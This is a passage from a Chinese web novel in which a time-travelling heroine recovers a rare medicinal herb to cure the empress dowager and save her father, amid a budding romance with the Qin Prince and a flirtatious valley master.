轩辕翰命令身旁的副将程良道。目光却从未离开衣上云,眼中全部都是心疼怜惜而又夹杂着让人甚至他自己都捉摸不透的表情。

寝殿就剩下他们俩个人,一个醒,一个昏迷。

他这才近身看到了她身上从悬崖上跌下的时候衣服已被划破,露出道道伤痕还都渗着鲜血。顿时皱起眉来拿起干毛巾轻轻地擦拭她额头上的雨滴,却一点都没注意到他自己全身也是湿漉漉的。

“魏明轩,魏明轩,你回来,回来......”衣上云忽然嘴里喃喃道,眼睛却一直都紧闭着。

是的,风寒发热的她明显已经神志不清了。

“魏明轩,你昏迷中喊着的这个名字,他对你很重要吗?”轩辕翰突然停下并收回了拿着毛巾的手说道。

这时,副将程良带着张嬷嬷端着汤药拿了干净的衣服刚好进来。

张嬷嬷一看到轩辕翰便欠身行礼道“殿下,让老奴来照顾姑娘吧”。

程良亦是近身后恭敬地致礼,却刚好听到了衣上云还在喃喃中的名字,亦是看到了自己主子脸上异样的表情。

程良是孤儿,他从小就被秦王轩辕翰收养授教,主子对他是恩人,是良师,亦是最亲的人,这辈子都是。

他深知主子在外人看来都是那么冰冷,其实主子的心里承受着这个世上最重的责任,战场上哪次主子不是第一个冲锋陷阵,以一敌百,守护西秦。

主子那满身窟窿和伤痕,都是一次次与死神抗争的见证。如果说这样的主子是冰冷的,那这个世界还有什么温度可言呢?

可眼下,主子明明对这个女人心生爱慕,主子的脸上时常会被他偷偷地发现难得温暖的笑容。

而今,这女人是不是发烧烧糊涂了,竟当着正处在热头上的主子面嘴里喊出另一个男人的名字,程良正疑惑着。

轩辕翰终于起身吩咐张嬷嬷道“好好照顾她”。

张嬷嬷颔首欠身领命“殿下放心”。

轩辕翰这才最后回头看了一眼仍旧昏睡在他榻上不醒人世的衣上云,方才安心迈着脚步离开。

张嬷嬷是秦王府唯一的女仆,她在秦王府本一直侍奉已故的太妃,太妃殁了后殿下看她年迈也无子女亲人无处栖身便依然留她在王府,她是看着这位殿下从小长到大的。

殿下天生尊贵却性情冰冷,除了太妃,从未见过殿下对哪个女人这么上心过。不对,即使太妃身体抱恙也未见殿下如此担忧之神色,难道.....

“程副将,难道殿下对这姑娘真如府里这些奴才所言,这次真的......”

张嬷嬷问程良。程良嘴角一斜回应了她一个神秘的眼神后便追出去侍候了。

张嬷嬷自己领悟,心里顿时不禁有些窃喜。

她急急走到榻边想赶快瞧瞧殿下看中的这位姑娘的俊俏模样,一眼看上去只见这姑娘长得倒是眉目清秀得很,身形个头也还算高挑标致,只是有些单薄瘦弱,要是再胖点就好了。

“有张嬷嬷在,殿下就放心交给嬷嬷吧”张嬷嬷自言自语道,顿时都忍不住脑海里蹦出来一大堆补汤食谱来。

这么清秀俊俏的姑娘怎么会这幅装扮呢?张嬷嬷一脸狐疑。很快她便利索地帮衣上云擦干身体,处理好伤口,换上了一身干净舒适的衣服,去伸手一把摘掉了衣上云的蒙面纱。

“呦,这是怎么了”

张嬷嬷显然被衣上云眼旁的胎记吓了一跳,露出了一脸惊愕的表情,殿下知不知道这姑娘的胎记呢?她心里想着。

没一会她就顺利地喂好了药,张嬷嬷帮衣上云掖好被角便打算出去了。突然顿了一下,她速速出门去重新拿了一条新的面纱小心翼翼地帮衣上云戴上,她心想姑娘家爱漂亮,肯定自是不愿意被人看到脸上的胎记。

处理好一切这才安心地拿起衣上云换下来的衣裳出了门。

此时,轩辕翰沐浴后换上了一身锦白长袍,已经坐在承华殿的书桌边处理好桌上密函交给了副将程良。

“殿下,要不要属下打听一下这个魏明轩”程良思量了半天还是关切地问了句。

“多事”轩辕翰立马抬头回他一凌厉的眼神。最后他还是沉默着接过密函文件收声无奈的退了出去。

轩辕翰这时才流露出一副疲惫暗淡的神情,低着头两手交错伏在桌案上。或许这疲惫中更多的是那份失落——衣上云昏迷中嘴里喃喃的那个叫做魏明轩的名字吧。

魏明轩到底是谁?对她这么重要,以至于自己都性命不保了却还一直在唤着这个名字。

轩辕翰明显很介意这个名字,既然他对她这么重要,那这个人为什么会允许她独自一个人一次次做这么危险的事情,为什么不好好保护她。

“回来,这句话又是什么意思?难道魏明轩离开她了?”轩辕翰自言自语地沉思失落着的同时竟然露出一丝愤怒的表情,让人害怕。

外面的大雨早已经变得淅淅沥沥,轩辕翰起身来到窗边朝外面漆黑的雨夜里王府的灯火望着,像是要寻找些许温暖缓解一下他此时冰冷的心情。

却看到屋外院落里花丛下,雨水落下来打湿了枝头即将凋谢的花朵,一地的落花成泥。一如他现在的心情,却终化成了一声轻轻无奈的叹息声。

秦王府,这个沸腾了却也让人无眠的雨夜......

第十二章:谷主有令

漫漫长夜,天终于亮了。

衣上云终于缓缓睁开来眼睛吃力地在床榻上坐起来。

身上的伤有些痛,她放眼看了看还是坚强地依稀隐忍起来。感觉头似是沉沉的,太难受不禁伸出手去揉了揉脑袋。

却突然发现自己坐在一张陌生的床榻上,这紫黑色的老紫檀木质床榻坚实,色泽发亮,手感沉重。雕刻装饰精巧华丽,看起来豪华又气派。

绣纹绸缎幔帐的质地亦是上乘,图案设计精美绝伦,床榻上的用品极致柔软舒适极了,这都不是寻常人家所能奢望受用的起的......

正在她百思不得其解时,张嬷嬷端着洗漱用的物件走了进来,一进门就展现着满脸笑容乐道“姑娘终于醒了”。

“老人家,请问这里是何处?我怎么会在这儿?昨晚我不是......”衣上云欲言又止。

“姑娘叫我张嬷嬷吧,昨儿夜里倾盆大雨,姑娘受伤还染了风寒,是我们殿下带你回来的”。

张嬷嬷一边忙着打湿手里的毛巾一边回答她。

“殿下?这里是?”衣上云吃惊地急急问。

“这里是秦王府,我们殿下自然就是西秦秦王啊”。

“什么,秦王府,秦王轩辕翰的府邸”衣上云挑眉竟大声惊呼道,差点从床榻上站起来。

“嘘,姑娘这可使不得,秦王殿下的名讳可不是随便谁都能直呼的”张嬷嬷一边小心翼翼地嘘声阻止她,一边递过来毛巾给衣上云擦洗。

衣上云听闻立即收声露出一脸慌乱无措的表情来,小心翼翼接过毛巾。

“张嬷嬷,小女已经好多了,谢谢嬷嬷的悉心照料。只是小女还有很重要的事情要办,嬷嬷可否带小女前去当面谢过秦王殿下,小女方可离开处理要事呢?”。

衣上云当然清楚的记得她的极品铁皮石斛至今可都还渺无音讯呢。

今天已经是和璟帝约定的第二日了,明天一到要是再交不出的话她就真的要脑袋搬家了。她还是惜命的,可没想要英年早逝啊。

“姑娘还是先起身过来用过早膳,之后老奴就带你过去”张嬷嬷关切地说。

说罢很快张嬷嬷拿来了已经浣洗干的衣上云的衣服给她,在屋内用完一桌丰富的早膳后便带路领着衣上云朝着轩辕翰的承华殿走去。

刚走至殿前回廊,守在大殿外的副将程良看到了二人便朝着走了过来慰问。

“姑娘醒了,姑娘可还感觉哪里有不舒服吗”看衣上云一直以陌生的眼神盯着自己,他便意识到还尚未介绍,便急急解释道。

“哦,在下是秦王殿下的副将,姑娘叫我程良便可”。

衣上云这才明白过来欠身行礼“程将军,小女有礼了,感谢将军和秦王殿下昨夜的救命之恩。小女是过来特地致谢并告辞的,因为小女却有要事要办,还望将军通报一声”。

“姑娘,我们殿下每日都要早朝。早已经出门进宫了”程良说。

见衣上云露出失望的眼神,程良继续道“不过殿下出门时交待属下告诉姑娘不用刻意致谢,我和殿下只是凑巧路过偶遇才出手相救,姑娘不必挂怀”。

程良说着斜眼朝着承华殿的窗户看了一眼。他的主子可是至今都一夜未眠,此时正在承华殿的窗前看着听着外面这里的一切呢。

“如此不巧,那小女先行告辞,改日再登门道谢”衣上云有些失落地说着。

“姑娘可还是要再去百草谷,再下正好也有事要前往,不如让再下陪同姑娘一道如何?”主子一大早可就喊他过去交待他,今天他只办妥这一件事情即可,程良说着。

衣上云想,多一个人也许多一个办法,想必依仗秦王府的权势或许有时候能给她带来一些方便也不未可知。

如今她的时间已然不多了,也来不及思考利用王府名义是否合适,便脱口就答应“那就有劳将军了”。

“姑娘客气”

说完,两人便一同出门上马朝着位于西秦国东北角的百草谷出发而去。

此时,一直站在承华殿窗内看着的轩辕翰见二人走远了才独自走出承华殿来,穿过回廊来到林月轩自己的寝宫里。

他走进来的时候张嬷嬷正在收拾整理床榻。

张嬷嬷突觉身后有人,便回头看见秦王已然进来,便急急欠身行礼,轩辕翰用一贯冰冷但今天充满血丝的眼睛示意她退下。

一室寂静,他拖着那双疲惫的红眼睛坐在榻边一直盯着紫檀木床榻上衣上云躺过的地方看了许久后起身来。

收回了似是永远冰冷的神情后起身轻轻掩上门褪去了锦白长袍外衣,朝榻边踱步过去再次落座倒吸口气缓缓躺了下来,而一躺下脑海里却全部满满闪现出的全是衣上云相关的一幕一幕......

不知道过了多久,疲惫至极的他终于渐渐闭上了眼睛。

衣上云和程良二人一路疾驰策马,从街市上的百草堂门前一闪而过。

正在一楼大厅的易君浩不知道发生了什么高兴的事正对着客人爽朗的开怀大笑,那笑声是那样的恣意。

忽然看到熟悉的身影他立马撇下那客人夺门而出,险些撞上了上门求药的病人。

而等他追出来的时候,却只看到了衣上云留在街角的最后一抹倩影。

“还好,你没事”。

易君浩望着仅有的这个背影,露出一脸担忧的表情喃喃自语道。

“看丫头这着急的架势和所去的方向,莫非是要去......”易君浩立刻反应过来,目光一定也迅速上马策马飞驰跟随而去。

明显他已经猜到衣上云这是又要去神农百草谷了。

“昨夜攀岩没有成功,丫头淋了雨还受了伤。这才修养过了一夜,今天天一亮就又上山了,丫头到底是有多紧急的情况。”三少一边急急策马一边说着。

很快,衣上云和程良到达了神农百草谷的入口。

但他们俩都没想到的是这回入口竟然站着两个身着精美杏色绣花衣裙的女子。

“难道昨夜被发现了,百草谷加强了防守”衣上云说着有些心虚地和程良眼神对视了一下下马来,朝着女子二人走过去。

“姑娘可是衣上云”其中一个略微高挑点的女子见他们走过来便低眉问道,语气里有几分轻蔑。

“敢问姑娘如何知晓小女的闺名”衣上云不解地问。

“姑娘不必多问,既然是为求药而来,就请随我入谷吧,不过这位公子......”女子看着程良一眼说道,语气里带了更多的轻视。

衣上云也看向程良,只见程良左手缓缓拿出一面尽显大气的铜质令牌,上面雕刻着“秦王府”三个字,衣上云一见便露出一脸的敬畏之态。

于是程良说道“你们这两个臭丫头,竟然连秦王府都不放在眼里,小心本将军改天将这个谷夷为平地”。

“哼,好大的口气。不过谷主有令,今日能入谷的只有一个叫衣上云的人”俩个女子见此令牌却是一脸不屑的表情。明显他们把西秦朝堂乃至西秦皇族一点也不放在眼里。

程良此时眼里冒出了冲天怒火,迅速收回左手的铜令牌,同时右手下去准备拔出腰间的佩剑,衣上云眼疾手快见状立刻近身过去伸出手阻止道“程将军,莫要冲动”。

一大早他的主子就交待一定要他在百草谷内寸步不离保全衣上云的安危,而今却被两个黄毛丫头拒之门外。

那也算了,竟然连秦王府秦王的面也不给,这神农百草谷是活腻了不成,程良低眉暗自想着,有些咬牙切齿。

“程将军放心,他们既然敢当着秦王府的面带我入谷,想必也不会对我怎么样,将军且安心在外等候便是”。

衣上云说这话的时候声音故意提高了些,自是也给旁边那两个女子听的。她颔首示意程良放心。

“如此,我便在此地等你,姑娘小心,速去速回”。

程良虽平静地对衣上云说了这句话,然内心却还是又气又恼却也无可奈何,世人皆知神农百草谷的毒障可不是闹着玩的,没有先服下解药便入谷,定是有去无回。

说服了程良,衣上云便独自朝着两个女子走了过去。

三人一行刚转身,另一女子递过来一粒紫色小药丸给衣上云道“姑娘请安心服下,可以让你不被百草谷这毒障所伤”。

衣上云随即速速将紫色药丸服下后,方才一同朝着山谷入口而去。

衣上云早就按捺不住满腹的欣喜,迫不及待着想要一睹这西秦国第一药谷的真面目了,想着想着便不由得脚下都变得轻盈起来自觉加快了步伐。

一走过入口,衣上云便惊呆了。

“哇,这里怎么会”

......

第十三章:仙境,极品铁皮石斛

三人同行一走过山谷入口,衣上云便被眼前的广阔世界惊呆了。

青山、碧水、奇石、紫竹林、鸟语花香、一望无际的药田......山谷里烟雾缭绕,简直像极了仙家的修仙之地。

“哇,这里怎么会......”

“这山崖后面俨然另一个与世无争的世界,像被凡尘遗忘的角落,数千里连绵起伏望不到边际的群山围绕着整个山谷”。衣上云惊讶地喃喃自语,紧跟着两个宛如仙女的脚步。

她还真从未见过如此大规模和地形奇特的草药山谷,比21世纪所有她见过的药谷都要广阔且神秘。

“两位仙女姐姐,这个药谷就只有你们俩在打理吗?”衣上云追上去颇为惊讶地问了句。

“是啊,这药谷除了谷主大人,就只有我们二人。”两个女子挑眉看着衣上云,一边走那个其中比较高挑的女子回答她。

接着女子继续说“你这丫头,看你跟我们年纪相仿,你就不要叫我们姐姐了,我叫白芷,她叫紫苏”。

“白芷姐姐,紫苏姐姐,那以后云儿就这样称呼你们可好?”衣上云嘴甜如蜜,三人一路有说有笑,倒是很快就熟络了。

衣上云进来才发现神农百草谷的入口左右两边是高大而又绵长无边的山脉线,山间悬崖峭壁怪石林立,阴阳两面及四周都很适合许多珍贵不可多得的神奇药草的生长,可谓是遍身是宝了。

药谷与世隔绝。原来不止山谷外面有河道围绕山脚,山谷里面亦是如此。

而这河道的水和外面河道的水一样都是来自山崖上雄伟壮丽的大瀑布。瀑布从山上分成好几股注入山脚下两边的河道,灌溉着这个神奇的药谷,

抬眼望去,这瀑布气势磅礴,一泻千里,水汽很大,甚是壮观,河道内的水更是清澈碧绿见底。

漫长的河岸线看不到头,只见远方隐隐有现着一座座青山的影子,置身其内的人感觉恍如谪仙一般。

“白芷姐姐,紫苏姐姐,居住在这样美的世外桃源,难怪两位姐姐如同谪仙般秀美”衣上云心情似乎很好。

“这丫头,嘴巴挺甜的,难怪谷主大人对你......”白芷还没说完,紫苏紧忙扯了扯她的衣袖,示意她不要暴露太多谷主的信息给外人,衣上云看到也没有再继续追问下去。

漫山遍野的千年古树、山花烂漫,成片的药草安静自在地生长散发出沁人心脾迷人的芬芳,和谷内特有的气候完美的融合在一起。

蓝天白云、阳光明媚,漫步在这样的山间,氧气十足,使人瞬间感觉身心轻松,精神百倍。

一路过来竟然看到了许多天然的药浴池亭子,如果能在这样自然舒适的环境里泡个最天然无害的药汤来疏通经络,怕是连神仙都不忍再离去吧。

约摸走了大半个时辰后,前面不远处一片郁郁葱葱茂密的树林后面,隐隐约约现出了一片红顶的木屋群院落,院子就对着瀑布而立。

“两位姐姐,我们是不是快到了”衣上云看到木屋群后开口问道。

“就在前面了”紫苏指着木屋群的方向说道。

全都是一些独具特色却统一红顶的木结构建筑,院子里凉亭、长廊、木桥、人工设计的小桥流水十分雅致独特,院子内外周围亦是一片有益身心的天然仙草和繁花。

“丫头,你先在这休息等候着吧”白芷道。

两个女子示意她在院子里的凉亭内稍作休息,便进去中间最大的一个名唤“逍遥阁”的三层木屋里。

衣上云一路激动着,此时才稍感疲惫不适,随即坐了下来。

忽然一只漂亮的小鸟停在她身旁的护栏边,嘴巴漆黑,脚灰褐色,朴素大方。衣上云一看到它领带式样的黑斑标志,便肯定地认出来了这是一只珍贵的“牧师鸟”。

“百草谷竟然有这样稀罕的观赏鸟,真是不可思议。”衣上云喃喃道。

却突然发现牧师鸟的腿受伤在流血,她连忙从袖中拿出一方丝帕精心地帮它包扎好伤口,抚摸了摸它的身体许久后才将它放飞出去。

而这一切正好被刚刚打算从逍遥阁里走出来的易君浩着谜般痴痴地看入眼里,他躲在门旁静静地看着她是如此温柔善良。

微风拂过她的脸庞轻轻吹动她脸上轻柔的面纱,此情此景就是一副世间最美好的图画。他都不忍心打扰,想永远将她定格在这样静好的时光里。

终究他还是迈起潇洒不羁的脚步朝衣上云走了过去。

衣上云看着牧师鸟安全地飞走正要转过身来,便看到了立在眼前朝她微笑着的红袍墨发半束的桃花眼男子,惊道“你是......谷主大人?”

“衣大小姐,我们又见面了”易君浩用极尽温柔的眼神凑近到她身前微笑着说。

“是你”衣上云惊讶。

“百草堂,百草谷,原来都是三少的产业,三少年纪轻轻便有如此作为,小女子实在佩服”。

“衣大小姐,你漏了一个”易君浩用有些玩味的语气提醒衣上云。

衣上云慌忙从记忆力搜索“漏了一个,是什么呢?”

看着衣上云一脸狐疑,易君浩说道“五蛊丸”。

衣上云立马怔大了那双好看的凤眼惊道“莫非那日的铃医也是你”。

“哈哈哈哈哈.....”此时易君浩发出了极尽豪迈的笑声,这笑声很大,震彻山谷。或许是因为他等衣上云上门这一天,已经等了太久,而终于等到了这个丫头的到来。

“你还忘了一事,你拿了我的九死还魂草,我说的对吗”三少索性一起与她秋后算账。

衣上云立马怔住了,原以为自己神不知鬼不觉地盗取仙草,原来早已被发现。此时她一脸绯红地着实不好意思。

“罢了,都给你了。谁让你人美心也美呢。只是,今天这一趟又是......”易君浩顿了一下问道。

衣上云这才想起自己此行的目的来道“三少,这次我想求极品铁皮石斛,没有它,我和父亲乃至整个衣府上下恐怕都要性命不保了。三少可否帮我,日后如有需要,我定竭尽全力。此事恐怕只有三少可以相助了”。

衣上云说着,脸上露出对易君浩满脸的希冀和期待之态。

“区区一株极品铁皮石斛,竟然就能要了你全家的性命。用药的人看来也是无能至极了,竟以此来威胁一个弱女子”。

说着他右手一扬,白芷便端着一只木质精雕小药匣走过来到衣上云面前。

衣上云打开一看激动地差点眼泪都掉出来,昨晚大雨,她为此差点都命丧山脚,而此时竟然不费吹灰之力便得了仙草。

仙草保存地极其好,就像刚采摘下来甚是新鲜。她激动地都不知道说什么感激的话了“三少,我......”。

她刚开口,三少却扬起手来阻止了她。

“即是救命,那就赶快先去办你的事儿,日后我自会跟你讨债”三少言语严肃,表情却是一副满不在乎的模样。

世人都说百草谷谷主极难说话,而衣上云却什么都没做,就拿了他这么多仙草。她还真的不知道自己怎样才能还清他这些人情。她拿的随便一种药草,可都是价值不菲的。

衣上云得了仙草道了谢便告辞急急出谷去找程良。

而此刻程良在入口处一直担心着,他一步也不敢离开,他都开始后悔答应让衣上云独自入谷。

要是主子知道了肯定要了他的命,而此时看到她安然无恙地走出来,才觉得一颗七上八下的心终于又属于自己了。

“姑娘,没事吧”。

衣上云抿起嘴微笑着朝他扬一扬手中的木质小药匣,示意他已得手,两人便匆匆往皇宫里赶去。

此刻,天已经黑了。

轩辕翰正在宫中同璟帝议事,却似乎有些心不在焉。他知道他们俩今晚无论有没有取到药一定会回到宫中,所以早早便到了宫内候着。

“皇上,罪臣之女衣上云求见”。

一个公公慌慌张张地进来禀告,大家都知道明天就是三天之约的期限了,这个时候都避讳地远远地,生怕龙颜大怒被牵涉。

“传”璟帝下令道。

......

第十四章:惩罚,死罪可免活罪难饶

“皇上,罪臣之女衣上云求见”。

一个公公慌慌张张地进来禀告,大家都知道明天就是三天之约的期限了,这个时候都避讳地远远地,生怕龙颜大怒被牵涉。

“传”璟帝立刻下令道。

璟帝看了一眼身旁端坐的轩辕翰,轩辕翰亦是以同样的目光看了璟帝一眼,许是都有些惊讶。

衣上云一步入大殿内看见两位冷峻严肃高高在上的西秦国主子心里却一点也不感到畏惧,她缓缓走进俯首下去跪拜。

“臣女参见陛下万岁,参见秦王殿下千岁。极品铁皮石斛臣女已如期寻回给御药房查验并制。请陛下与秦王殿下移步永安宫,药效稍后两位便会见分晓”。

“衣上云,你最好祈求上天庇护,否则这个罪可不是你能承受得起的”。

璟帝皱眉狠狠地说道同时起身朝永安宫方向走去。

轩辕翰亦是一脸冷峻紧随其后。只是当走过衣上云身边的时候他右手负手而立放低下巴微微抬眼目视着前方顿了一下,也只是一下而已,好似欲言又止,竟连她看都没有看一眼。

衣上云见此茫然着却有种莫名的味道“殿下,谢谢秦王殿下昨夜的救命之恩,云儿将永生铭记于心。”

轩辕翰自是没有回答她,便径自踱步出门去。

众人进去的时候,张院判已经给太后针灸过,药女正在喂她含有极品铁皮石斛的汤药。药汤一汤勺一汤勺地缓缓流入太后的口中,因为昏迷所以花费了许久终于药女将一碗药汤艰难地全部喂完才站起身退下靠在一边。

在场所有人都在等,等着奇迹的发生,这种等待充满着浓郁的让众人不安的气氛......

半晌过后,太后依然纹丝不动,昏睡不醒,璟帝看起来也越来越沉不住气,周围众人也都一个个屏住呼吸翘首期盼着,看到璟帝一脸的阴沉之色,吓得没有一人敢出声甚至都不敢大喘气一下。

如果太后醒不来,别说衣上云,就是这些近身侍候的宫女太监们,每日请平安脉的太医医女们,哪个脱得了干系。

此时几乎每个人都渗着冷汗,等着盼着极品铁皮石斛的仙草之效能挽救他们的性命。

“来人,给朕拖下去”,璟帝终于再也按捺不住心底的怒火开口下令道。轩辕翰亦是急急抬眼朝他看去正准备开口说话。

“太后娘娘,太后娘娘醒了,太后娘娘醒了”。

就在这千钧一发之时,一名近身侍候的宫女惊喜地大喊着,随即全部人都放眼看了过去。此时便传出来太后所发出的轻盈的喃喃之音。璟帝和轩辕翰同时慌忙靠近了过去。

只见璟帝顿时脸上阴霾散去,换做喜逐颜开,舒展眉心露出了万分欣喜的表情。

“母后,你终于醒了”璟帝坐在太后的榻边握着太后的手甚是激动地说着。

“皇帝,哀家这是怎么了”太后一边问,一边想要坐起来。璟帝赶忙伸出手将其扶起身靠着,将事情的经过细细讲了一遍。

“那这个姑娘如今何在?”太后问道。

“回太后,奴婢便是罪臣之女衣上云”衣上云迅速跪倒在太后面前来俯首回太后话。

“就是你啊,你为何在殿前遮面呢”太后似是有些疑惑地问。

“回太后,因为臣女丑陋,怕冲撞到太后和主子们,故以面纱遮掩,望太后恕罪”衣上云小心地回禀。

“原来如此,这么说哀家的命,是你救的了”。

“臣女惶恐,家父失职,还望太后开恩饶家父一命”。

“倒也是个孝顺的丫头,皇帝,暂且放过他们一回吧”太后慈祥地微笑着对璟帝说。

“既然母后亲自开口替这奴才求情,儿臣暂且饶过他们性命。不过死罪可免,活罪难饶。你既对药草颇有所长,那朕就罚你去御药房领差做个药女吧。中秋将至,佳节过后即刻前往报到,不得有误”璟帝下令道。

“谢陛下恩典,臣女领旨”衣上云叩拜谢恩,声音是无比的坚定,轩辕翰自是没料到璟帝会做出这样的决定。

宫里的生活,以她的性格真的适合吗?他心里担忧着。

龙颜大怒,一场虚惊后,众人散去。轩辕翰依旧一脸冰冷寡言低着眼睛,走到还在地上俯首跪着的衣上云身旁时,又一次顿足低眼斜视而去,衣上云此时并不知道他在看着她,依旧乖乖俯首跪着。片刻后,轩辕翰收回视线深吐一口浊气抬头匆匆踱步走出了永安宫。

独自走在回衣府的路上,附近的街市,衣上云远远就看到了满街市火红的花灯,近看一盏盏造型各异,纱绢上绘制了山水、亭台楼阁,花鸟鱼虫,还有栩栩如生惟妙惟肖的小人儿像,各种喜庆吉祥的图案再加上饰品的装饰,真正的一片五彩缤纷。

是啊,距离中秋节已经越来越近了,可这个西秦国一点也不好玩,这么久了,难道真的回不去了,衣上云心想着突然有些空落落的感觉不自觉露出丝丝失落的表情。

一进到衣府大门,就看到厅堂里一片灯火通明,人声鼎沸。却没有人发觉她回来了,她顿了一下足,有些失落地走进去。

“云儿给父亲请安,父亲受苦了”。

衣上云进来这才明白是父亲已被释放了,她忙过去欠身跟衣上坤行礼。

这个时候所有人才发现她的归来,即刻每个人都清了清嗓门恢复了本来应有的面目和姿态,只有衣上坤却不同于往日对她的冷漠态度。

他将目光转向衣上云怔了一下叫她起身,然后慢慢朝她走过去道:“听说这次是你前往宫中冒死谏言要寻回极品铁皮石斛代老夫将功赎罪的?”

“父亲,这是为人子女应尽的本份,父亲不必挂怀”衣上云亦是满脸认真地回答,她只不过是想在这个时代寻一隅安身之地而已,并没有什么其它伟大的想法。

“但如今陛下着令你入宫为药女,你当真愿意进宫?”衣上坤点了点头对这个女儿有些另眼相看,竟然关心起她来。

“父亲此言差矣,皇命难违,况且陛下说的很清楚,这是惩罚,死罪可免活罪难饶,岂容我不愿意呢”衣上云一脸正经和平静地说。

“如此,老夫记住了,终究还是老夫误了你......这几天你也辛苦了,先下去好好休息吧”衣上坤似是有话要讲却终于还是没能说出口。

衣上坤想,她被退婚已然是事实,与其在府中孤老,不如在宫中找点事做,分分心思也是好的。

当然对他最重要的是要守住她那神秘的身份,这是关乎太多人性命乃至整个灵空大陆的事情。

想着想着,他的眉头不自觉皱了起来陷入一片无底的沉思之中,好似再也化不开。

“老爷......”年氏看着这一切,悄悄走到衣上坤的身边来与衣上坤四目相对摇了摇头,她自是示意衣上坤现在还不是告诉这个女儿秘密的时候,这个府里也就年氏真正懂得衣上坤一直以来的担忧和无奈了。

衣上坤随即也摇了摇头,深深地叹了口气。

兰姨娘一直坐在一旁的桌案边,一脸的狐疑表情,她的一双儿女见状朝她走了过去伸出双手扶着她的一双胳膊与她对视着。他们自是不知衣上坤和年氏有多么大的秘密是她所不知道的。

她只当是衣上云是个不受宠被冷落的无用废柴丑女,但如今却是她挺身舍命救了衣上坤出狱。她确实替她的这双宝贝儿女有点尴尬。

但她相信只有她的儿女才会是衣府未来的正主,衣上云这辈子都不会再对她构成威胁了,因为她的脸和她的名声一样,已经彻底毁了。

所以她并不在乎衣上云做了什么。只是觉得这丫头自从醒来本事倒是真见长了,也幸亏她现在要入宫为药女了,从此便再也不会碍着她的眼,倒也罢了。

秦王府里,程良见轩辕翰回府,急急朝着承华殿走去。

第十五章:中秋赐婚

秦王府里,程良见轩辕翰回府,急急朝着承华殿走去。

“殿下,衣上坤已经从大理寺回府了”程良一收到手下暗卫报告来的消息得知轩辕翰已在宫中等候,便将衣上云送到皇宫交代宫中的眼线护送后,自己便去了大理寺等好消息。

轩辕翰依旧冰冷的语气说:“本王知道了,中秋节后将暗卫都撤回来吧”。

程良急问“殿下,发生何事?”轩辕翰没有回答,一如往常的惜字如金。

许久后却问了句“婆婆的事查的可有进展了?”

程良摇了摇头,有些无奈道“现在灵空大陆四国之间边境上大小战事时有发生,婆婆说的人,属下查遍西秦全部士兵的花名册根本就没有找到,也包含了阵亡名册。不过属下听说有些国家黑市上有贩卖奴隶的交易,莫不会......”程良没有再说下去。

“且让她婆孙先住在王府吧,再等等看。过几个月再做打算,她家里安排两个人暗中守着,如果她儿子还活着,就一定会回家”轩辕翰说。

“殿下英明,属下这就去安排。殿下,还有一事......”程良欲言又止看了一眼轩辕翰,终于还是开了口“今日神农百草谷,属下未能入谷,谷主下令,只许衣小姐一人前往”。

轩辕翰一脸惊愕,更多的是后怕和担忧,迅速抬头厉声训斥道“怎么办事的?”

程良见秦王怒了,急急禀道“殿下息怒,衣小姐毫发无损,并且她说,在谷内她什么都没做,谷主也没有对她提出任何要求便赠药了”。

百草谷谷主一向不做亏本买卖,他到底有什么目的,轩辕翰一边听着一边陷入深思。

这个谷主身份十分神秘诡异,且与朝中众大臣也时有交好,最关键的是他们的人根本无法接近更别说监视他了,着实让他有些苦恼。

轩辕翰摆了摆手,程良便轻轻掩上门退了出去。

轩辕翰靠在坐榻上一脸凝重,中秋节眼看就要到了,他还有很多事都没有头绪。

随手一摸,便触摸到衣袖中那条熟悉的“云”丝帕,衣上云应该还不知道他就是那夜山谷中曾施救过的伤者吧,随之拿出来在手中看着看着就入了神,不禁喃喃道:魏明轩......

转眼三秋正中中秋佳节如期而至,西秦国内上下普天同庆。

夜空里高挂一轮白玉盘样的朗朗明月,无论是平常百姓还是帝王之家皆是家家户户都在院中设下了大香案,摆满各种月饼、水果、时鲜、点心等祭祀用品举行焚香祭月活动。

夜幕刚刚降临,燕儿便像只小鸟般踱着欢快的脚步奔上了明月阁衣上云的阁楼。人还未至声音已经响了起来。

“小姐,小姐,我们去逛街市吧。今日中秋佳节,街市上肯定非常热闹。走吧,走吧,不要整天闷在阁楼里了,你都快变成霉小姐啦”。

燕儿一直不停的说着可完全没有给衣上云应答的机会,只迫不及待拉着她一路小跑出府。

衣上云本来是准备收拾明天御药房报到的行礼的,心里自是有些不舍的伤感在里面。毕竟衣府才是最适合她的地方,也是原主最熟悉的地方。

但是一到街市,她还是被眼前的美景深深吸引住,显然只过去几天而已却完全已经不是她之前每每经过所见的熟悉的街市了,店家似乎全都重新装扮了小店似的一片喜庆之色。

满城的桂花香气扑鼻而来,桂花酿的酒香更是传遍整个大街小巷。

古人的中秋节,果然比21世纪的丰富多彩,正是“海上明月升,天涯共此时”衣上云甚是惊讶入迷地望着。

一盏盏造型各异的花灯里的蜡烛将这街市照射地一片灯火通明,让原本寂静的夜市在今夜变成了一个名副其实的不夜城。

只见那灯上都写着一个“谜”字,诗谜书于灯,映于烛,任凭街上过往行人俊男靓女随意猜度。

河道上亦是一盏盏精美至极的小水灯随着水流的方向漂浮其上,宛如这夜空中的繁星点点,十分壮观。

这时,前方突然迎面来了一条用藤条弯曲成骨架,稻草样物品扎成身子蜿蜒起伏的巨型火龙,龙身插满香火。竟然还设计了龙牙、眼睛、舌头、龙珠配合的惟妙惟肖栩栩如生,由一群年轻的男子挥舞疾跑游走在大街小巷,十分好看。

街上的孩童都一手拿着兔儿饼舔食着,另一手提着各不相同的花灯比较着谁的更特别,仿佛都觉得自己的灯才是那最漂亮的一个。

衣上云惊呆了,眼花缭乱地看着眼前这一切,却突然发现燕儿不知什么时候竟然走散了,街上行人络绎不绝,人山人海。衣上云踮起脚尖在人群中寻觅着。

突然有人从后面拍了她的肩膀,她迅速地回头吃惊地喊了一声“三少,怎么是你啊”。

来人正是十分妖艳的桃花眼美男易君浩易三少。他一袭大红锦衣长袍,墨发半束,鬓边依旧飘洒着俩捋尽显潇洒随性的青丝。

“丫头,中秋节没约心上人,怎么一个人在街上溜达”易三少玩味十足又有些试探的口吻问道。

“三少就别取笑我了,全西秦皇城人都知道我被退婚了,谁还敢约我,三少不会不知道吧?”衣上云低着头说。

“是吗,如此甚好,那以后你就跟着哥哥我吧,怎么样?”三少说出这句话的时候显得是那样的轻松随意,却一点都不让人感觉是在开玩笑。

“三少,你又拿我开心了”衣上云有些难为情,说完便低头拧起自己的衣襟来。

易三少这才意识到自己所言有些冒昧了便挑眉道“开玩笑呢,丫头,你不会当真了吧?”。

